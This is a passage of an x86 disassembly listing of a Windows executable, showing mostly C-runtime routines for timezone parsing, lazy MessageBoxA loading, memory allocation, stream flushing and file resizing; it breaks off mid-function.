; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1EBCBBE8h], dl
		add	ah, byte ptr dword_4DB4A0[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DB4A035h, 0A9E89000h, 0C3021EBCh

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 2610000h
		nop
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi

loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 28A09CFh
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi

loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 2600C08h
		nop
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi

loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C

loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DB560, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DB560

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DB4A8, ebp
		mov	dword_43CD50, ebx
		mov	dword_43CD40, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DB4B0
		call	near ptr 2860000h
		nop
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DB4B0
		mov	ecx, dword_4DB504
		imul	eax, 3Ch
		cmp	word_4DB4F6, bp
		push	1
		pop	edx
		mov	dword_43CCA8, eax
		mov	dword_4DB4A8, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43CCA8, eax

loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DB54A, bp
		jz	short loc_424887
		mov	eax, dword_4DB558
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43CCAC, edx
		imul	eax, 3Ch
		mov	dword_43CCB0, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------

loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43CCAC, ebp
		mov	dword_43CCB0, ebp

loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43CD34
		push	ebx
		push	offset dword_4DB4B4
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43CD34
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------

loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43CD34
		and	byte ptr [eax],	0

loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43CD38
		push	ebx
		push	offset dword_4DB508
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43CD38
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------

loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DB55C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44

loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DB55C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DB55C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43CD34
		call	sub_41B5F0
		mov	eax, off_43CD34
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi

loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43CCA8, ecx

loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5

loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------

loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx

loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------

loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx

loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------

loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43CCA8, ecx

loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43CCAC, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43CD38
		call	sub_41B5F0
		mov	eax, off_43CD38
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------

loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43CD38
		and	byte ptr [eax],	0

loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43CCAC, edi
		jnz	short loc_424A5E

loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------

loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43CD40
		jnz	short loc_424A7C
		cmp	eax, dword_43CD50
		jz	loc_424B7E

loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DB4A8, edi
		jz	loc_424B54
		movzx	ecx, word_4DB556
		push	ecx
		cmp	word_4DB548, di
		movzx	ecx, word_4DB554
		push	ecx
		movzx	ecx, word_4DB552
		push	ecx
		movzx	ecx, word_4DB550
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DB54C
		push	edi
		push	ecx
		movzx	ecx, word_4DB54E
		push	ecx
		movzx	ecx, word_4DB54A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------

loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DB54E
		push	ecx
		push	edi
		movzx	ecx, word_4DB54A
		push	edi
		push	ecx
		push	eax
		push	edi

loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DB502
		add	esp, 2Ch
		cmp	word_4DB4F4, di
		push	eax
		movzx	eax, word_4DB500
		push	eax
		movzx	eax, word_4DB4FE
		push	eax
		movzx	eax, word_4DB4FC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DB4F8
		push	edi
		push	eax
		movzx	eax, word_4DB4FA
		push	eax
		movzx	eax, word_4DB4F6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx

loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------

loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DB4FA
		push	eax
		push	edi
		movzx	eax, word_4DB4F6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------

loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h

loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43CD44
		mov	eax, dword_43CD54
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2

loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx

loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57

loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43CD48
		setnl	cl

loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------

loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43CD58
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43CD58[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------

loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43CD8C[esi]

loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------

loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax

loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43CD5C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------

loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43CD90[esi]

loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------

loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43CD58[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------

loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43CD8C[eax*4]

loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]

loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD44, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43CD40, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD48, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------

loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD54, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43CCB0
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD58, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43CD58, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------

loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43CD58, eax

loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43CD54, ecx

loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43CD50, ebx

loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DC7E1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C302[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------

loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax

loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------

loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DB564, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26B0C66h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DB564, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DB568, eax
		call	esi
		mov	dword_4DB56C, eax

loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DB568
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DB56C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax

loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DB564

loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi

loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DC900
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------

loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C2F4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB

loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DC904
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5

loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB2FC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------

loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]

loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi

loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------

loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB

loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DC5A0, esi
		jle	short loc_424F05

loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi

loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DB598
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DB598
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_424EC1

loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DC6C0
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi

loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------

loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB27C, 5
		jnz	short loc_424FDC
		mov	dword_4DB278, 0Dh

loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh

loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------

loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2600000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB278, 0Dh
		nop
		call	near ptr 2690CE2h
		mov	dword_4DB27C, eax

loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------

loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB278, 9

loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh

loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069

loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax

loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]

loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]

loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
